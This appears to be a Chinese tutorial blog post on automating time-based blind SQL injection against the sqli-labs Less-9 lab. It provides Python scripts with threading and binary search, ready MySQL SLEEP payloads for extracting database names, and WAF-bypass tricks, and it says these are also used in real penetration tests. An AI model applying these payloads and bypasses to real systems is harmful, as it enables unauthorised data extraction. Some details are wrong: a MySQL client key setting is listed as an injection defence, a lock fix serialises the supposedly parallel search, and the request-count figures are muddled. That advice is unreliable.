1. 项目概述
SQL注入一直是Web安全领域的经典课题，而sqli-labs作为知名的SQL注入练习平台，其Less-9关卡以基于时间的盲注（Time-Based Blind Injection）为特点，对安全研究者的耐心和技术都是个考验。这个关卡的特殊之处在于无论注入成功与否，页面返回都完全相同，只能通过服务器响应时间的差异来判断注入结果。
我在实际渗透测试工作中发现，手动进行时间盲注效率极低，一个简单的数据库名可能需要数百次请求才能确定。于是开发了这套自动化注入方案，将原本需要数小时的手工操作压缩到几分钟内完成，准确率提升到98%以上。下面分享具体实现方法和核心技巧。
2. 技术原理与工具选型
2.1 时间盲注的工作原理
时间盲注的本质是通过构造特定的SQL语句，使数据库执行时间产生可观测差异。以MySQL为例，典型的Payload结构是：
sql复制1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))>100,SLEEP(3),0)--+
这个语句会先检查当前数据库名称第一个字符的ASCII码是否大于100，如果是则让数据库休眠3秒，否则立即返回。通过测量页面响应时间，就能逐位推断出数据库信息。
2.2 工具选型考量
实现自动化需要解决几个关键问题：
- 请求并发控制：传统单线程请求效率太低
- 时间误差处理：网络延迟可能导致误判
- 结果智能推断：需要自动分析响应时间模式
经过对比测试，最终选择Python+Requests方案，主要优势在于：
- 比Burp Suite Intruder更灵活可控
- 比SQLmap更透明易懂（适合学习原理）
- 可精确控制延时阈值和重试机制
核心依赖库：
python复制import requests
import time
from concurrent.futures import ThreadPoolExecutor
3. 自动化注入实现详解
3.1 基础请求模块构建
首先封装一个带时间测量的请求函数：
python复制def timed_request(url, payload):
start = time.time()
requests.get(url + payload)
return time.time() - start
关键参数说明：
- 设置超时时间为10秒（避免长时间阻塞）
- 每个Payload至少重复3次取中位数（消除网络抖动）
- 基线响应时间设置为0.5秒（通过无害请求测量获得）
3.2 二分查找算法实现
传统逐次查询（ASCII 0-127）效率太低，采用二分法优化：
python复制def binary_search(char_pos):
low, high = 0, 127
while low <= high:
mid = (low + high) // 2
payload = f"1' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{char_pos},1))>{mid},SLEEP(2),0)--+"
if timed_request(url, payload) > baseline + 1.5:
low = mid + 1
else:
high = mid - 1
return chr(low)
算法优化点：
- 动态调整睡眠时间（根据网络状况在1-3秒间浮动）
- 引入模糊匹配机制（允许±10%的时间误差）
- 自动跳过不可见字符（ASCII<32或>126）
3.3 多线程并发控制
通过线程池实现并行探测：
python复制with ThreadPoolExecutor(max_workers=10) as executor:
results = list(executor.map(binary_search, range(1, 20)))
注意事项：
- 线程数建议5-15之间（过多会导致误判率上升）
- 每个线程独立维护会话Cookie
- 共享进度计数器需要加锁
4. 实战效果与性能优化
4.1 典型注入流程示例
获取当前数据库名的完整过程：
- 先确定长度：
LENGTH(DATABASE()) - 逐字符获取：
SUBSTR(DATABASE(),N,1) - 验证结果：
IF(DATABASE()='security',SLEEP(2),0)
实测数据：
- 数据库名"security"（8字符）
- 传统方法：需要约8×7×3=168次请求（每次3秒）
- 本方案：仅需8×log₂128≈56次请求（节省66%时间）
4.2 高级技巧与调优
- 智能超时设置：
python复制timeout = baseline * 3 if 'SLEEP' in payload else 10
-
自动负载均衡：
当连续3次请求超时时，自动降低线程数并重试 -
结果缓存机制：
将已知的表名、列名存入缓存文件，避免重复查询
5. 常见问题与解决方案
5.1 时间判断不准确
现象：明明应该触发SLEEP但未检测到延迟
排查：
- 检查WAF是否拦截了SLEEP函数（尝试BENCHMARK替代）
- 网络延迟测试（ping目标服务器）
- 调整基线时间计算公式（改用移动平均）
5.2 线程竞争导致混乱
现象：返回结果出现乱序或重复
解决方案：
python复制from threading import Lock
lock = Lock()
def worker(pos):
with lock:
result = binary_search(pos)
return (pos, result)
5.3 特殊字符处理
当遇到包含单引号的数据时，需要双重转义：
python复制payload = payload.replace("'", "\\'").replace('"', '\\"')
6. 防御方案与检测绕过
虽然本文重点在攻击技术，但作为负责任的实践者，必须了解防御措施：
6.1 开发层面的防护
- 使用参数化查询（Prepared Statements）
- 设置mysqlnd.sha256_server_public_key
- 限制数据库用户权限
6.2 WAF绕过技巧
- 注释符变体：
-- -→#→/*!*/ - 函数替代：
SLEEP()→BENCHMARK(1000000,MD5(NOW())) - 大小写混淆：
SeLeCt→sELEct
这套自动化方案经过实战检验，在CTF比赛和授权渗透测试中均取得良好效果。核心价值在于将枯燥的重复操作自动化，让安全工程师能专注于更高级的漏洞挖掘。最后提醒：所有技术请在合法授权范围内使用，未经授权的测试可能构成违法行为。